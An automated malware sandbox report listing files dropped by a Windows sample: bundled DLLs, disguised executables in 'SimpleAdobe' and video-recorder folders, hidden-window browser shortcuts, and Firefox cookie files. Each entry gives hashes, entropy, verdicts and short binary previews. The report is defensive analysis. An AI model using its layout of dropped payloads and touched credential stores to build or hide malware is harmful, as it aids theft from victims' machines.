Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264_license.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Zvaer Video Recorder\proportions.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	InnoSetup Log Zvaer Video Recorder, version 0x30, 5321 bytes, 364339\user, "C:\Users\user\AppData\Local\Zvaer Video Recorder"
Category:	dropped
Size (bytes):	5321
Entropy (8bit):	4.773990775906788
Encrypted:	false
SSDEEP:	96:4HEHF/dWj4882vp49UwhrV9++eOIhWFnmo4cVSQs0LQdco3yzTJ5tcaIbOuzc+69:4HEHF/dWj48Hvp4+wlfHIhWxmdcVSQ1F
MD5:	38B84EFBC6D4FC00E7138C8E8A305284
SHA1:	9C8681AC4E154211574C5EC30554DF9A26BEA419
SHA-256:	C2BB03CF085B68A58CEBB6587F17302CC2EF9179734A1D238702D01DEE4BDDCE
SHA-512:	C2F3ECB4F273A8F99AE34406AD489FC76DD4E7081C0015C2E487AF9417B19B97F0C0517862FBB12E14297A138B0B98E741C57CE42EE3C9D0B8D3217D79DAA15F
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Zvaer Video Recorder............................................................................................................Zvaer Video Recorder............................................................................................................0...........%..............................................................................................................."T...........\1.......Q....364339.user1C:\Users\user\AppData\Local\Zvaer Video Recorder...........*...... .....<......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3

C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.470939699095507
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGvt5ELAfXExy8b:nfKbT5lrPo37AzHTA63/cfU9IEUt53fs
MD5:	E0A8C0126E60BCBF945A5FF2B36152AF
SHA1:	F8FC2300F661B47A215A4908265D6C8864CC7541
SHA-256:	7F8B0DE9B09FB20C0D5645BBA32B5553D5A66F2186785B61EC95355C0F9CEF36
SHA-512:	12F2D006E79A84470FFA0DCABEF829CE75AD9DC9AB91E9F3903505AA0791E98737E874854D3E037746CB12737213F38AF6638565C4802BC0AED681611005EEA8
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2995022
Entropy (8bit):	6.5035946462417815
Encrypted:	false
SSDEEP:	49152:w+42XaEzHw2mUDlcjGA6PSvbSx1j/S6EEY:w+42K6Q2melci7PSvGxhqv
MD5:	7EF11F0E3F2FF6BBA93E37E5906666F1
SHA1:	8D89B0768724F41529ED52E667D4CE9A93C15EB2
SHA-256:	5471156D2BB86032527C377F781AF61AEEE63CC5214A675FDEB5215BEAA93662
SHA-512:	B43F895827A9DBC8D70B720152A7714BF69B805FBB7B5616AA75DB1D48F32C1905EA79DDF39542ED3A3B5CED6B73FB838DBF0552D4055106E812EE0F9486D366
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....'.^........../...............................@...........................-.............................................D...........................................................................................l............................text...*........................... ..`.rdata..n/.......0..................@..@.data...8T... ...0... ..............@....rsrc................P..............@..@.pascal5.p....!.Nc...P!.............a.S.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 10:50:01 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2434
Entropy (8bit):	3.582602984106799
Encrypted:	false
SSDEEP:	48:8SLdpT63ERYrnvDdAKRkdA5q+9Jq87dAKR+/KRllygP:8SbEDNly
MD5:	034ED353BD05642C02D0C5B1FCD3A5F7
SHA1:	E0CA4A4E46CF50A37390716004A8921A6C4FEADE
SHA-256:	F517AE8FE83B88D34D5A97666ED2236B554C9C8183A2947C7A52311AF7F27F9B
SHA-512:	BA59AAC97523FE6F3EBD316DEFED032506EF6322C5EB7A78EFCA4A118FBE247456B87B93B6ECD01BE0D0447205236219A5EB9AB7536B8F96C4467DF91707217B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....Tb.........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW}W..PROGRA~1..t......O.ICW}W....B...............J.....7...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.W..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.G.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 10:48:05 2023, atime=Thu Aug 5 05:45:01 2021, length=3311504, window=hide
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	3.6769571281010167
Encrypted:	false
SSDEEP:	48:8UZndO5fLswOnzTdRdJq+9Jq5dLXuHj0PkZyl7:88+uD0PkZy
MD5:	B515E9D62DD909B33197149826966C12
SHA1:	FA5355B0BA98544BCB58B00576EBC71A79F8CE74
SHA-256:	39DB11D5A4D5473DF27E916CE054EB7A939E945DB3803978B754326D7C8AF9C6
SHA-512:	5B8FBCA04BC9B54780CEC2EE6B5229DFCDFD0A797D3C4AF70785D5A90C0A65BEE9C44058D257E08E73BEE4A08E42A3B00658D54D4249480A0E158D9F57A33F79
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....\|.K.....x......zj.....2.....................1....P.O. .:i.....+00.../C:\.....................1.....CW.X..PROGRA~2.........O.ICW.X....................V.......E.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.?..MICROS~1..D......(Ux.CW.U..........................w.o.M.i.c.r.o.s.o.f.t.....N.1.....CW.?0.Edge..:.......S8.CW.U...........................f .E.d.g.e.....`.1.....CW.H0.APPLIC~1..H.......S8.CW.U...........................L).A.p.p.l.i.c.a.t.i.o.n.....`.2...2..S.5 .msedge.exe..F.......S8.CW.V...........................t..m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.N.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 09:48:42 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	3.613362154845889
Encrypted:	false
SSDEEP:	48:8S7dBT6DpRYrnvs4dAKRkdA5q+9Jq87dAKR+/KRlay8Ec:8Snh5Nayd
MD5:	6503AF6A99B86A6AEAA48110A934F303
SHA1:	F243FD8C39CD1B2A1BBD6711252B4D75B1E03378
SHA-256:	1F05F2DDE310E7FCA681F6E832DB95B1798D4FC7904B69B12865C154B4CE1CEC
SHA-512:	6C504B54427A8E72BB8EBB31B6B504ABD4DE943457984B1BDFBD4E41CE025E5DD6D6B3F7F973152B4366266FDCF6BEF9D543656E5568162A7B7D674C81C2F7FB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....=.,.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW.V..PROGRA~1..t......O.ICW.V....B...............J.....p+j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M.....................G-..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.V..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.M.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\XUwnK\7De6QmGXH.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5534755
Entropy (8bit):	7.99902269292672
Encrypted:	true
SSDEEP:	98304:mI2mEPfoW/irnHM8gsuXA12b9Da3Vjn+Iqza5ZwOipaHOqx7jdBo730nBr/d:/2lPfoA8nHosuXG2l0Vqzie3pyO4jdKq
MD5:	335426382C8B11C43B441E478F4E743E
SHA1:	16F874AC07D23869AAAB5650FCF6F480E1147E44
SHA-256:	0E0F2DD13D5DCBE1BEDD80D32C24BB1E9F003C902259BFB0BFD51A5299994EAA
SHA-512:	E800D3C25563E32BB584EC31CDC39BA2D82CBC4FCADCC617141E021EDA1AA579F0E0C46008910D40144CDB5E140EFE812B9DB59ABBFD360DEFAD32AC4BE90608
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@...................@..............................P........,..........................................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....H................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228864
Entropy (8bit):	6.12511745585131
Encrypted:	false
SSDEEP:	3072:tneBqhy5aVLOwqI8sgwoEHXfwaNUM+/ORSs5G2Ms4f6TFZbhgvbUxzJ8Y:tETlsgOfDt+/V6JQO98
MD5:	3955AF54FBAC1E43C945F447D92E4108
SHA1:	53C5552C3649619E4E8C6A907B94573F47130FA4
SHA-256:	E6DE332AD778F7A7CF160EFA60656C3AC960DC77806905493D5CFFE58EE1DE16
SHA-512:	FA028A040A5F075296AEBAB7F63A59B6CBBA32EE0964DFC08768396CC012FF5D861191E2478914D79D4A424C3BBA110505A58B97376C44C716F0B1EA70551037
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...sto@sto@sto@!.lA{to@!.jALto@!.kAoto@z..@ato@..nAzto@stn@.to@..jA~to@..mArto@Richsto@........PE..d...A%"^.........."......r..........`;.........@....................................)7....`..................................................o..........0...........................0&..T....................'..(....&..................h............................text....q.......r.................. ..`.rdata..D............v..............@..@.data................f..............@....pdata...............t..............@..@.rsrc...............................@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

